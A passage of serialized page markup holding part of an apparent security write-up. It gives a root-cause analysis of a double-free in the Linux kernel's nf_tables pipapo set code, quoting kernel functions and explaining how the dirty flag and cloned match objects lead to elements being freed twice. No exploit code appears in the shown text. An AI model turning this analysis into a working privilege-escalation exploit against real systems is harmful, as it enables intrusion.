",{"type":23,"tag":504,"props":50052,"children":50053},{"style":598},[50054],{"type":28,"value":3552},{"type":23,"tag":504,"props":50056,"children":50057},{"style":529},[50058],{"type":28,"value":19262},{"type":23,"tag":504,"props":50060,"children":50061},{"style":523},[50062],{"type":28,"value":2484},{"type":23,"tag":504,"props":50064,"children":50065},{"class":506,"line":540},[50066,50070,50074,50079,50083,50087],{"type":23,"tag":504,"props":50067,"children":50068},{"style":511},[50069],{"type":28,"value":30525},{"type":23,"tag":504,"props":50071,"children":50072},{"style":511},[50073],{"type":28,"value":20132},{"type":23,"tag":504,"props":50075,"children":50076},{"style":523},[50077],{"type":28,"value":50078}," nft_set ",{"type":23,"tag":504,"props":50080,"children":50081},{"style":598},[50082],{"type":28,"value":3552},{"type":23,"tag":504,"props":50084,"children":50085},{"style":529},[50086],{"type":28,"value":49998},{"type":23,"tag":504,"props":50088,"children":50089},{"style":523},[50090],{"type":28,"value":2484},{"type":23,"tag":504,"props":50092,"children":50093},{"class":506,"line":555},[50094,50099,50104,50108,50113],{"type":23,"tag":504,"props":50095,"children":50096},{"style":511},[50097],{"type":28,"value":50098},"      struct",{"type":23,"tag":504,"props":50100,"children":50101},{"style":523},[50102],{"type":28,"value":50103}," nft_pipapo_match ",{"type":23,"tag":504,"props":50105,"children":50106},{"style":598},[50107],{"type":28,"value":3552},{"type":23,"tag":504,"props":50109,"children":50110},{"style":529},[50111],{"type":28,"value":50112},"m",{"type":23,"tag":504,"props":50114,"children":50115},{"style":523},[50116],{"type":28,"value":1192},{"type":23,"tag":504,"props":50118,"children":50119},{"class":506,"line":633},[50120],{"type":23,"tag":504,"props":50121,"children":50122},{"style":523},[50123],{"type":28,"value":9862},{"type":23,"tag":504,"props":50125,"children":50126},{"class":506,"line":687},[50127,50131,50136,50140],{"type":23,"tag":504,"props":50128,"children":50129},{"style":511},[50130],{"type":28,"value":20132},{"type":23,"tag":504,"props":50132,"children":50133},{"style":523},[50134],{"type":28,"value":50135}," nft_pipapo_field ",{"type":23,"tag":504,"props":50137,"children":50138},{"style":598},[50139],{"type":28,"value":3552},{"type":23,"tag":504,"props":50141,"children":50142},{"style":523},[50143],{"type":28,"value":50144},"f;\n",{"type":23,"tag":504,"props":50146,"children":50147},{"class":506,"line":736},[50148,50153],{"type":23,"tag":504,"props":50149,"children":50150},{"style":511},[50151],{"type":28,"value":50152}," int",{"type":23,"tag":504,"props":50154,"children":50155},{"style":523},[50156],{"type":28,"value":50157}," i, r;\n",{"type":23,"tag":504,"props":50159,"children":50160},{"class":506,"line":785},[50161],{"type":23,"tag":504,"props":50162,"children":50163},{"emptyLinePlaceholder":16},[50164],{"type":28,"value":1038},{"type":23,"tag":504,"props":50166,"children":50167},{"class":506,"line":813},[50168,50173,50178,50182,50186,50191,50195,50200,50204,50208,50213,50217,50221,50225,50230,50235,50239,50244,50249,50254,50258],{"type":23,"tag":504,"props":50169,"children":50170},{"style":544},[50171],{"type":28,"value":50172}," for",{"type":23,"tag":504,"props":50174,"children":50175},{"style":523},[50176],{"type":28,"value":50177}," (i ",{"type":23,"tag":504,"props":50179,"children":50180},{"style":598},[50181],{"type":28,"value":601},{"type":23,"tag":504,"props":50183,"children":50184},{"style":1440},[50185],{"type":28,"value":2023},{"type":23,"tag":504,"props":50187,"children":50188},{"style":523},[50189],{"type":28,"value":50190},", f ",{"type":23,"tag":504,"props":50192,"children":50193},{"style":598},[50194],{"type":28,"value":601},{"type":23,"tag":504,"props":50196,"children":50197},{"style":529},[50198],{"type":28,"value":50199}," m",{"type":23,"tag":504,"props":50201,"children":50202},{"style":523},[50203],{"type":28,"value":12738},{"type":23,"tag":504,"props":50205,"children":50206},{"style":529},[50207],{"type":28,"value":32062},{"type":23,"tag":504,"props":50209,"children":50210},{"style":523},[50211],{"type":28,"value":50212},"; i ",{"type":23,"tag":504,"props":50214,"children":50215},{"style":598},[50216],{"type":28,"value":4789},{"type":23,"tag":504,"props":50218,"children":50219},{"style":529},[50220],{"type":28,"value":50199},{"type":23,"tag":504,"props":50222,"children":50223},{"style":523},[50224],{"type":28,"value":12738},{"type":23,"tag":504,"props":50226,"children":50227},{"style":529},[50228],{"type":28,"value":50229},"field_count",{"type":23,"tag":504,"props":50231,"children":50232},{"style":598},[50233],{"type":28,"value":50234}," -",{"type":23,"tag":504,"props":50236,"children":50237},{"style":1440},[50238],{"type":28,"value":3504},{"type":23,"tag":504,"props":50240,"children":50241},{"style":523},[50242],{"type":28,"value":50243},"; i",{"type":23,"tag":504,"props":50245,"children":50246},{"style":598},[50247],{"type":28,"value":50248},"++",{"type":23,"tag":504,"props":50250,"children":50251},{"style":523},[50252],{"type":28,"value":50253},", f",{"type":23,"tag":504,"props":50255,"children":50256},{"style":598},[50257],{"type":28,"value":50248},{"type":23,"tag":504,"props":50259,"children":50260},{"style":523},[50261],{"type":28,"value":1192},{"type":23,"tag":504,"props":50263,"children":50264},{"class":506,"line":851},[50265],{"type":23,"tag":504,"props":50266,"children":50267},{"style":523},[50268],{"type":28,"value":50269},"  ;\n",{"type":23,"tag":504,"props":50271,"children":50272},{"class":506,"line":869},[50273],{"type":23,"tag":504,"props":50274,"children":50275},{"emptyLinePlaceholder":16},[50276],{"type":28,"value":1038},{"type":23,"tag":504,"props":50278,"children":50279},{"class":506,"line":878},[50280,50284,50289,50293,50297,50302,50306,50310,50314,50319,50324,50328],{"type":23,"tag":504,"props":50281,"children":50282},{"style":544},[50283],{"type":28,"value":50172},{"type":23,"tag":504,"props":50285,"children":50286},{"style":523},[50287],{"type":28,"value":50288}," (r ",{"type":23,"tag":504,"props":50290,"children":50291},{"style":598},[50292],{"type":28,"value":601},{"type":23,"tag":504,"props":50294,"children":50295},{"style":1440},[50296],{"type":28,"value":2023},{"type":23,"tag":504,"props":50298,"children":50299},{"style":523},[50300],{"type":28,"value":50301},"; r ",{"type":23,"tag":504,"props":50303,"children":50304},{"style":598},[50305],{"type":28,"value":4789},{"type":23,"tag":504,"props":50307,"children":50308},{"style":529},[50309],{"type":28,"value":31948},{"type":23,"tag":504,"props":50311,"children":50312},{"style":523},[50313],{"type":28,"value":12738},{"type":23,"tag":504,"props":50315,"children":50316},{"style":529},[50317],{"type":28,"value":50318},"rules",{"type":23,"tag":504,"props":50320,"children":50321},{"style":523},[50322],{"type":28,"value":50323},"; r",{"type":23,"tag":504,"props":50325,"children":50326},{"style":598},[50327],{"type":28,"value":50248},{"type":23,"tag":504,"props":50329,"children":50330},{"style":523},[50331],{"type":28,"value":537},{"type":23,"tag":504,"props":50333,"children":50334},{"class":506,"line":1221},[50335,50339,50344,50348],{"type":23,"tag":504,"props":50336,"children":50337},{"style":511},[50338],{"type":28,"value":4779},{"type":23,"tag":504,"props":50340,"children":50341},{"style":523},[50342],{"type":28,"value":50343}," nft_pipapo_elem ",{"type":23,"tag":504,"props":50345,"children":50346},{"style":598},[50347],{"type":28,"value":3552},{"type":23,"tag":504,"props":50349,"children":50350},{"style":523},[50351],{"type":28,"value":50352},"e;\n",{"type":23,"tag":504,"props":50354,"children":50355},{"class":506,"line":1276},[50356],{"type":23,"tag":504,"props":50357,"children":50358},{"emptyLinePlaceholder":16},[50359],{"type":28,"value":1038},{"type":23,"tag":504,"props":50361,"children":50362},{"class":506,"line":1285},[50363,50367,50371,50375,50379,50383,50387,50391,50395,50399,50403,50407,50412,50417,50421,50425,50429,50433,50437,50441,50445,50449,50454,50458],{"type":23,"tag":504,"props":50364,"children":50365},{"style":544},[50366],{"type":28,"value":30372},{"type":23,"tag":504,"props":50368,"children":50369},{"style":523},[50370],{"type":28,"value":50288},{"type":23,"tag":504,"props":50372,"children":50373},{"style":598},[50374],{"type":28,"value":4789},{"type":23,"tag":504,"props":50376,"children":50377},{"style":529},[50378],{"type":28,"value":31948},{"type":23,"tag":504,"props":50380,"children":50381},{"style":523},[50382],{"type":28,"value":12738},{"type":23,"tag":504,"props":50384,"children":50385},{"style":529},[50386],{"type":28,"value":50318},{"type":23,"tag":504,"props":50388,"children":50389},{"style":598},[50390],{"type":28,"value":50234},{"type":23,"tag":504,"props":50392,"children":50393},{"style":1440},[50394],{"type":28,"value":3504},{"type":23,"tag":504,"props":50396,"children":50397},{"style":598},[50398],{"type":28,"value":13166},{"type":23,"tag":504,"props":50400,"children":50401},{"style":529},[50402],{"type":28,"value":31948},{"type":23,"tag":504,"props":50404,"children":50405},{"style":523},[50406],{"type":28,"value":12738},{"type":23,"tag":504,"props":50408,"children":50409},{"style":529},[50410],{"type":28,"value":50411},"mt",{"type":23,"tag":504,"props":50413,"children":50414},{"style":523},[50415],{"type":28,"value":50416},"[r ",{"type":23,"tag":504,"props":50418,"children":50419},{"style":598},[50420],{"type":28,"value":1642},{"type":23,"tag":504,"props":50422,"children":50423},{"style":1440},[50424],{"type":28,"value":3504},{"type":23,"tag":504,"props":50426,"children":50427},{"style":523},[50428],{"type":28,"value":49328},{"type":23,"tag":504,"props":50430,"children":50431},{"style":529},[50432],{"type":28,"value":1231},{"type":23,"tag":504,"props":50434,"children":50435},{"style":598},[50436],{"type":28,"value":2260},{"type":23,"tag":504,"props":50438,"children":50439},{"style":529},[50440],{"type":28,"value":31948},{"type":23,"tag":504,"props":50442,"children":50443},{"style":523},[50444],{"type":28,"value":12738},{"type":23,"tag":504,"props":50446,"children":50447},{"style":529},[50448],{"type":28,"value":50411},{"type":23,"tag":504,"props":50450,"children":50451},{"style":523},[50452],{"type":28,"value":50453},"[r].",{"type":23,"tag":504,"props":50455,"children":50456},{"style":529},[50457],{"type":28,"value":1231},{"type":23,"tag":504,"props":50459,"children":50460},{"style":523},[50461],{"type":28,"value":1192},{"type":23,"tag":504,"props":50463,"children":50464},{"class":506,"line":1294},[50465,50470],{"type":23,"tag":504,"props":50466,"children":50467},{"style":544},[50468],{"type":28,"value":50469},"   continue",{"type":23,"tag":504,"props":50471,"children":50472},{"style":523},[50473],{"type":28,"value":866},{"type":23,"tag":504,"props":50475,"children":50476},{"class":506,"line":1302},[50477],{"type":23,"tag":504,"props":50478,"children":50479},{"emptyLinePlaceholder":16},[50480],{"type":28,"value":1038},{"type":23,"tag":504,"props":50482,"children":50483},{"class":506,"line":1311},[50484,50489,50493,50497,50501,50505,50509,50513],{"type":23,"tag":504,"props":50485,"children":50486},{"style":523},[50487],{"type":28,"value":50488},"  e ",{"type":23,"tag":504,"props":50490,"children":50491},{"style":598},[50492],{"type":28,"value":601},{"type":23,"tag":504,"props":50494,"children":50495},{"style":529},[50496],{"type":28,"value":31948},{"type":23,"tag":504,"props":50498,"children":50499},{"style":523},[50500],{"type":28,"value":12738},{"type":23,"tag":504,"props":50502,"children":50503},{"style":529},[50504],{"type":28,"value":50411},{"type":23,"tag":504,"props":50506,"children":50507},{"style":523},[50508],{"type":28,"value":50453},{"type":23,"tag":504,"props":50510,"children":50511},{"style":529},[50512],{"type":28,"value":1231},{"type":23,"tag":504,"props":50514,"children":50515},{"style":523},[50516],{"type":28,"value":866},{"type":23,"tag":504,"props":50518,"children":50519},{"class":506,"line":1334},[50520],{"type":23,"tag":504,"props":50521,"children":50522},{"emptyLinePlaceholder":16},[50523],{"type":28,"value":1038},{"type":23,"tag":504,"props":50525,"children":50526},{"class":506,"line":1370},[50527,50532,50537,50541,50545,50549,50554],{"type":23,"tag":504,"props":50528,"children":50529},{"style":517},[50530],{"type":28,"value":50531},"  nf_tables_set_elem_destroy",{"type":23,"tag":504,"props":50533,"children":50534},{"style":523},[50535],{"type":28,"value":50536},"(ctx, set, ",{"type":23,"tag":504,"props":50538,"children":50539},{"style":598},[50540],{"type":28,"value":2086},{"type":23,"tag":504,"props":50542,"children":50543},{"style":529},[50544],{"type":28,"value":1231},{"type":23,"tag":504,"props":50546,"children":50547},{"style":523},[50548],{"type":28,"value":12738},{"type":23,"tag":504,"props":50550,"children":50551},{"style":529},[50552],{"type":28,"value":50553},"priv",{"type":23,"tag":504,"props":50555,"children":50556},{"style":523},[50557],{"type":28,"value":630},{"type":23,"tag":504,"props":50559,"children":50560},{"class":506,"line":1384},[50561],{"type":23,"tag":504,"props":50562,"children":50563},{"style":523},[50564],{"type":28,"value":1652},{"type":23,"tag":504,"props":50566,"children":50567},{"class":506,"line":1392},[50568],{"type":23,"tag":504,"props":50569,"children":50570},{"style":523},[50571],{"type":28,"value":884},{"type":23,"tag":24,"props":50573,"children":50574},{},[50575,50577,50583,50585,50590],{"type":28,"value":50576},"Which will then ",{"type":23,"tag":56,"props":50578,"children":50580},{"className":50579},[],[50581],{"type":28,"value":50582},"kfree()",{"type":28,"value":50584}," the ",{"type":23,"tag":56,"props":50586,"children":50588},{"className":50587},[],[50589],{"type":28,"value":49990},{"type":28,"value":320},{"type":23,"tag":494,"props":50592,"children":50594},{"className":15493,"code":50593,"language":2124,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[50595],{"type":23,"tag":56,"props":50596,"children":50597},{"__ignoreMap":7},[50598,50639,50667,50696,50703,50738,50745,50766,50789,50796,50809],{"type":23,"tag":504,"props":50599,"children":50600},{"class":506,"line":507},[50601,50606,50611,50615,50619,50623,50627,50631,50635],{"type":23,"tag":504,"props":50602,"children":50603},{"style":511},[50604],{"type":28,"value":50605},"void",{"type":23,"tag":504,"props":50607,"children":50608},{"style":517},[50609],{"type":28,"value":50610}," nf_tables_set_elem_destroy",{"type":23,"tag":504,"props":50612,"children":50613},{"style":523},[50614],{"type":28,"value":526},{"type":23,"tag":504,"props":50616,"children":50617},{"style":511},[50618],{"type":28,"value":8635},{"type":23,"tag":504,"props":50620,"children":50621},{"style":511},[50622],{"type":28,"value":20132},{"type":23,"tag":504,"props":50624,"children":50625},{"style":523},[50626],{"type":28,"value":50050},{"type":23,"tag":504,"props":50628,"children":50629},{"style":598},[50630],{"type":28,"value":3552},{"type":23,"tag":504,"props":50632,"children":50633},{"style":529},[50634],{"type":28,"value":19262},{"type":23,"tag":504,"props":50636,"children":50637},{"style":523},[50638],{"type":28,"value":2484},{"type":23,"tag":504,"props":50640,"children":50641},{"class":506,"line":540},[50642,50647,50651,50655,50659,50663],{"type":23,"tag":504,"props":50643,"children":50644},{"style":511},[50645],{"type":28,"value":50646},"    const",{"type":23,"tag":504,"props":50648,"children":50649},{"style":511},[50650],{"type":28,"value":20132},{"type":23,"tag":504,"props":50652,"children":50653},{"style":523},[50654],{"type":28,"value":50078},{"type":23,"tag":504,"props":50656,"children":50657},{"style":598},[50658],{"type":28,"value":3552},{"type":23,"tag":504,"props":50660,"children":50661},{"style":529},[50662],{"type":28,"value":49998},{"type":23,"tag":504,"props":50664,"children":50665},{"style":523},[50666],{"type":28,"value":2484},{"type":23,"tag":504,"props":50668,"children":50669},{"class":506,"line":555},[50670,50674,50678,50683,50687,50692],{"type":23,"tag":504,"props":50671,"children":50672},{"style":511},[50673],{"type":28,"value":50646},{"type":23,"tag":504,"props":50675,"children":50676},{"style":511},[50677],{"type":28,"value":20132},{"type":23,"tag":504,"props":50679,"children":50680},{"style":523},[50681],{"type":28,"value":50682}," nft_elem_priv ",{"type":23,"tag":504,"props":50684,"children":50685},{"style":598},[50686],{"type":28,"value":3552},{"type":23,"tag":504,"props":50688,"children":50689},{"style":529},[50690],{"type":28,"value":50691},"elem_priv",{"type":23,"tag":504,"props":50693,"children":50694},{"style":523},[50695],{"type":28,"value":1192},{"type":23,"tag":504,"props":50697,"children":50698},{"class":506,"line":633},[50699],{"type":23,"tag":504,"props":50700,"children":50701},{"style":523},[50702],{"type":28,"value":9862},{"type":23,"tag":504,"props":50704,"children":50705},{"class":506,"line":687},[50706,50710,50715,50719,50724,50728,50733],{"type":23,"tag":504,"props":50707,"children":50708},{"style":511},[50709],{"type":28,"value":20132},{"type":23,"tag":504,"props":50711,"children":50712},{"style":523},[50713],{"type":28,"value":50714}," nft_set_ext ",{"type":23,"tag":504,"props":50716,"children":50717},{"style":598},[50718],{"type":28,"value":3552},{"type":23,"tag":504,"props":50720,"children":50721},{"style":523},[50722],{"type":28,"value":50723},"ext ",{"type":23,"tag":504,"props":50725,"children":50726},{"style":598},[50727],{"type":28,"value":601},{"type":23,"tag":504,"props":50729,"children":50730},{"style":517},[50731],{"type":28,"value":50732}," nft_set_elem_ext",{"type":23,"tag":504,"props":50734,"children":50735},{"style":523},[50736],{"type":28,"value":50737},"(set, elem_priv);\n",{"type":23,"tag":504,"props":50739,"children":50740},{"class":506,"line":736},[50741],{"type":23,"tag":504,"props":50742,"children":50743},{"emptyLinePlaceholder":16},[50744],{"type":28,"value":1038},{"type":23,"tag":504,"props":50746,"children":50747},{"class":506,"line":785},[50748,50752,50756,50761],{"type":23,"tag":504,"props":50749,"children":50750},{"style":544},[50751],{"type":28,"value":14766},{"type":23,"tag":504,"props":50753,"children":50754},{"style":523},[50755],{"type":28,"value":801},{"type":23,"tag":504,"props":50757,"children":50758},{"style":517},[50759],{"type":28,"value":50760},"nft_set_ext_exists",{"type":23,"tag":504,"props":50762,"children":50763},{"style":523},[50764],{"type":28,"value":50765},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":23,"tag":504,"props":50767,"children":50768},{"class":506,"line":813},[50769,50774,50779,50784],{"type":23,"tag":504,"props":50770,"children":50771},{"style":517},[50772],{"type":28,"value":50773},"  nft_set_elem_expr_destroy",{"type":23,"tag":504,"props":50775,"children":50776},{"style":523},[50777],{"type":28,"value":50778},"(ctx, ",{"type":23,"tag":504,"props":50780,"children":50781},{"style":517},[50782],{"type":28,"value":50783},"nft_set_ext_expr",{"type":23,"tag":504,"props":50785,"children":50786},{"style":523},[50787],{"type":28,"value":50788},"(ext));\n",{"type":23,"tag":504,"props":50790,"children":50791},{"class":506,"line":851},[50792],{"type":23,"tag":504,"props":50793,"children":50794},{"emptyLinePlaceholder":16},[50795],{"type":28,"value":1038},{"type":23,"tag":504,"props":50797,"children":50798},{"class":506,"line":869},[50799,50804],{"type":23,"tag":504,"props":50800,"children":50801},{"style":517},[50802],{"type":28,"value":50803}," kfree",{"type":23,"tag":504,"props":50805,"children":50806},{"style":523},[50807],{"type":28,"value":50808},"(elem_priv);\n",{"type":23,"tag":504,"props":50810,"children":50811},{"class":506,"line":878},[50812],{"type":23,"tag":504,"props":50813,"children":50814},{"style":523},[50815],{"type":28,"value":884},{"type":23,"tag":24,"props":50817,"children":50818},{},[50819,50820,50826,50828,50833,50835,50840,50842,50847,50848,50853,50855,50860,50862,50867,50869,50874],{"type":28,"value":15592},{"type":23,"tag":56,"props":50821,"children":50823},{"className":50822},[],[50824],{"type":28,"value":50825},"nft_pipapo_match",{"type":28,"value":50827}," objects contain views of the ",{"type":23,"tag":56,"props":50829,"children":50831},{"className":50830},[],[50832],{"type":28,"value":49990},{"type":28,"value":50834},"'s of a ",{"type":23,"tag":56,"props":50836,"children":50838},{"className":50837},[],[50839],{"type":28,"value":49998},{"type":28,"value":50841},". The difference between the ",{"type":23,"tag":56,"props":50843,"children":50845},{"className":50844},[],[50846],{"type":28,"value":49975},{"type":28,"value":430},{"type":23,"tag":56,"props":50849,"children":50851},{"className":50850},[],[50852],{"type":28,"value":49959},{"type":28,"value":50854}," match objects is that the clone has a view of not only already committed ",{"type":23,"tag":56,"props":50856,"children":50858},{"className":50857},[],[50859],{"type":28,"value":49990},{"type":28,"value":50861},"'s that the \"normal\" one has but also a view of the ",{"type":23,"tag":56,"props":50863,"children":50865},{"className":50864},[],[50866],{"type":28,"value":49990},{"type":28,"value":50868},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":23,"tag":56,"props":50870,"children":50872},{"className":50871},[],[50873],{"type":28,"value":49975},{"type":28,"value":320},{"type":23,"tag":82,"props":50876,"children":50878},{"id":50877},"root-cause-analysis",[50879],{"type":28,"value":50880},"Root-cause analysis",{"type":23,"tag":24,"props":50882,"children":50883},{},[50884,50886,50892,50894,50899],{"type":28,"value":50885},"So ",{"type":23,"tag":56,"props":50887,"children":50889},{"className":50888},[],[50890],{"type":28,"value":50891},"nf_tables_set_elem_destroy",{"type":28,"value":50893}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":23,"tag":56,"props":50895,"children":50897},{"className":50896},[],[50898],{"type":28,"value":49990},{"type":28,"value":50900},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":23,"tag":24,"props":50902,"children":50903},{},[50904,50906,50911,50913,50918,50920,50925,50927,50932,50934,50939],{"type":28,"value":50905},"We should now try to understand how to reach that path with the ",{"type":23,"tag":56,"props":50907,"children":50909},{"className":50908},[],[50910],{"type":28,"value":49952},{"type":28,"value":50912}," flag set, which is a member of the private data of a pipapo ",{"type":23,"tag":56,"props":50914,"children":50916},{"className":50915},[],[50917],{"type":28,"value":49990},{"type":28,"value":50919}," that becomes true whenever a change is made to the ",{"type":23,"tag":56,"props":50921,"children":50923},{"className":50922},[],[50924],{"type":28,"value":49998},{"type":28,"value":50926}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":23,"tag":56,"props":50928,"children":50930},{"className":50929},[],[50931],{"type":28,"value":49998},{"type":28,"value":50933}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":23,"tag":56,"props":50935,"children":50937},{"className":50936},[],[50938],{"type":28,"value":49998},{"type":28,"value":50940}," dirty by inserting a new element.",{"type":23,"tag":494,"props":50942,"children":50944},{"className":15493,"code":50943,"language":2124,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[50945],{"type":23,"tag":56,"props":50946,"children":50947},{"__ignoreMap":7},[50948,51018,51047,51072,51079,51086,51115,51122],{"type":23,"tag":504,"props":50949,"children":50950},{"class":506,"line":507},[50951,50955,50959,50964,50968,50972,50976,50981,50985,50990,50994,50998,51002,51006,51010,51014],{"type":23,"tag":504,"props":50952,"children":50953},{"style":511},[50954],{"type":28,"value":50023},{"type":23,"tag":504,"props":50956,"children":50957},{"style":511},[50958],{"type":28,"value":50152},{"type":23,"tag":504,"props":50960,"children":50961},{"style":517},[50962],{"type":28,"value":50963}," nft_pipapo_insert",{"type":23,"tag":504,"props":50965,"children":50966},{"style":523},[50967],{"type":28,"value":526},{"type":23,"tag":504,"props":50969,"children":50970},{"style":511},[50971],{"type":28,"value":8635},{"type":23,"tag":504,"props":50973,"children":50974},{"style":511},[50975],{"type":28,"value":20132},{"type":23,"tag":504,"props":50977,"children":50978},{"style":523},[50979],{"type":28,"value":50980}," net ",{"type":23,"tag":504,"props":50982,"children":50983},{"style":598},[50984],{"type":28,"value":3552},{"type":23,"tag":504,"props":50986,"children":50987},{"style":529},[50988],{"type":28,"value":50989},"net",{"type":23,"tag":504,"props":50991,"children":50992},{"style":523},[50993],{"type":28,"value":576},{"type":23,"tag":504,"props":50995,"children":50996},{"style":511},[50997],{"type":28,"value":8635},{"type":23,"tag":504,"props":50999,"children":51000},{"style":511},[51001],{"type":28,"value":20132},{"type":23,"tag":504,"props":51003,"children":51004},{"style":523},[51005],{"type":28,"value":50078},{"type":23,"tag":504,"props":51007,"children":51008},{"style":598},[51009],{"type":28,"value":3552},{"type":23,"tag":504,"props":51011,"children":51012},{"style":529},[51013],{"type":28,"value":49998},{"type":23,"tag":504,"props":51015,"children":51016},{"style":523},[51017],{"type":28,"value":2484},{"type":23,"tag":504,"props":51019,"children":51020},{"class":506,"line":540},[51021,51025,51029,51034,51038,51043],{"type":23,"tag":504,"props":51022,"children":51023},{"style":511},[51024],{"type":28,"value":561},{"type":23,"tag":504,"props":51026,"children":51027},{"style":511},[51028],{"type":28,"value":20132},{"type":23,"tag":504,"props":51030,"children":51031},{"style":523},[51032],{"type":28,"value":51033}," nft_set_elem ",{"type":23,"tag":504,"props":51035,"children":51036},{"style":598},[51037],{"type":28,"value":3552},{"type":23,"tag":504,"props":51039,"children":51040},{"style":529},[51041],{"type":28,"value":51042},"elem",{"type":23,"tag":504,"props":51044,"children":51045},{"style":523},[51046],{"type":28,"value":2484},{"type":23,"tag":504,"props":51048,"children":51049},{"class":506,"line":555},[51050,51055,51059,51064,51068],{"type":23,"tag":504,"props":51051,"children":51052},{"style":511},[51053],{"type":28,"value":51054},"        struct",{"type":23,"tag":504,"props":51056,"children":51057},{"style":523},[51058],{"type":28,"value":50682},{"type":23,"tag":504,"props":51060,"children":51061},{"style":598},[51062],{"type":28,"value":51063},"**",{"type":23,"tag":504,"props":51065,"children":51066},{"style":529},[51067],{"type":28,"value":50691},{"type":23,"tag":504,"props":51069,"children":51070},{"style":523},[51071],{"type":28,"value":1192},{"type":23,"tag":504,"props":51073,"children":51074},{"class":506,"line":633},[51075],{"type":23,"tag":504,"props":51076,"children":51077},{"style":523},[51078],{"type":28,"value":9862},{"type":23,"tag":504,"props":51080,"children":51081},{"class":506,"line":687},[51082],{"type":23,"tag":504,"props":51083,"children":51084},{"style":523},[51085],{"type":28,"value":9299},{"type":23,"tag":504,"props":51087,"children":51088},{"class":506,"line":736},[51089,51094,51098,51103,51107,51111],{"type":23,"tag":504,"props":51090,"children":51091},{"style":529},[51092],{"type":28,"value":51093}," priv",{"type":23,"tag":504,"props":51095,"children":51096},{"style":523},[51097],{"type":28,"value":12738},{"type":23,"tag":504,"props":51099,"children":51100},{"style":529},[51101],{"type":28,"value":51102},"dirty",{"type":23,"tag":504,"props":51104,"children":51105},{"style":598},[51106],{"type":28,"value":648},{"type":23,"tag":504,"props":51108,"children":51109},{"style":511},[51110],{"type":28,"value":1750},{"type":23,"tag":504,"props":51112,"children":51113},{"style":523},[51114],{"type":28,"value":866},{"type":23,"tag":504,"props":51116,"children":51117},{"class":506,"line":785},[51118],{"type":23,"tag":504,"props":51119,"children":51120},{"style":523},[51121],{"type":28,"value":9299},{"type":23,"tag":504,"props":51123,"children":51124},{"class":506,"line":813},[51125],{"type":23,"tag":504,"props":51126,"children":51127},{"style":523},[51128],{"type":28,"value":884},{"type":23,"tag":24,"props":51130,"children":51131},{},[51132],{"type":28,"value":51133},"We also see that when the changes are commited, this flag is then unset.",{"type":23,"tag":494,"props":51135,"children":51137},{"className":15493,"code":51136,"language":2124,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[51138],{"type":23,"tag":56,"props":51139,"children":51140},{"__ignoreMap":7},[51141,51181,51188,51195,51226,51237,51244,51271,51278],{"type":23,"tag":504,"props":51142,"children":51143},{"class":506,"line":507},[51144,51148,51152,51157,51161,51165,51169,51173,51177],{"type":23,"tag":504,"props":51145,"children":51146},{"style":511},[51147],{"type":28,"value":50023},{"type":23,"tag":504,"props":51149,"children":51150},{"style":511},[51151],{"type":28,"value":50028},{"type":23,"tag":504,"props":51153,"children":51154},{"style":517},[51155],{"type":28,"value":51156}," nft_pipapo_commit",{"type":23,"tag":504,"props":51158,"children":51159},{"style":523},[51160],{"type":28,"value":526},{"type":23,"tag":504,"props":51162,"children":51163},{"style":511},[51164],{"type":28,"value":8383},{"type":23,"tag":504,"props":51166,"children":51167},{"style":523},[51168],{"type":28,"value":50078},{"type":23,"tag":504,"props":51170,"children":51171},{"style":598},[51172],{"type":28,"value":3552},{"type":23,"tag":504,"props":51174,"children":51175},{"style":529},[51176],{"type":28,"value":49998},{"type":23,"tag":504,"props":51178,"children":51179},{"style":523},[51180],{"type":28,"value":1192},{"type":23,"tag":504,"props":51182,"children":51183},{"class":506,"line":540},[51184],{"type":23,"tag":504,"props":51185,"children":51186},{"style":523},[51187],{"type":28,"value":9862},{"type":23,"tag":504,"props":51189,"children":51190},{"class":506,"line":555},[51191],{"type":23,"tag":504,"props":51192,"children":51193},{"style":523},[51194],{"type":28,"value":9299},{"type":23,"tag":504,"props":51196,"children":51197},{"class":506,"line":633},[51198,51202,51206,51210,51214,51218,51222],{"type":23,"tag":504,"props":51199,"children":51200},{"style":544},[51201],{"type":28,"value":14766},{"type":23,"tag":504,"props":51203,"children":51204},{"style":523},[51205],{"type":28,"value":801},{"type":23,"tag":504,"props":51207,"children":51208},{"style":598},[51209],{"type":28,"value":19603},{"type":23,"tag":504,"props":51211,"children":51212},{"style":529},[51213],{"type":28,"value":50553},{"type":23,"tag":504,"props":51215,"children":51216},{"style":523},[51217],{"type":28,"value":12738},{"type":23,"tag":504,"props":51219,"children":51220},{"style":529},[51221],{"type":28,"value":51102},{"type":23,"tag":504,"props":51223,"children":51224},{"style":523},[51225],{"type":28,"value":1192},{"type":23,"tag":504,"props":51227,"children":51228},{"class":506,"line":687},[51229,51233],{"type":23,"tag":504,"props":51230,"children":51231},{"style":544},[51232],{"type":28,"value":38175},{"type":23,"tag":504,"props":51234,"children":51235},{"style":523},[51236],{"type":28,"value":866},{"type":23,"tag":504,"props":51238,"children":51239},{"class":506,"line":736},[51240],{"type":23,"tag":504,"props":51241,"children":51242},{"style":523},[51243],{"type":28,"value":9299},{"type":23,"tag":504,"props":51245,"children":51246},{"class":506,"line":785},[51247,51251,51255,51259,51263,51267],{"type":23,"tag":504,"props":51248,"children":51249},{"style":529},[51250],{"type":28,"value":51093},{"type":23,"tag":504,"props":51252,"children":51253},{"style":523},[51254],{"type":28,"value":12738},{"type":23,"tag":504,"props":51256,"children":51257},{"style":529},[5125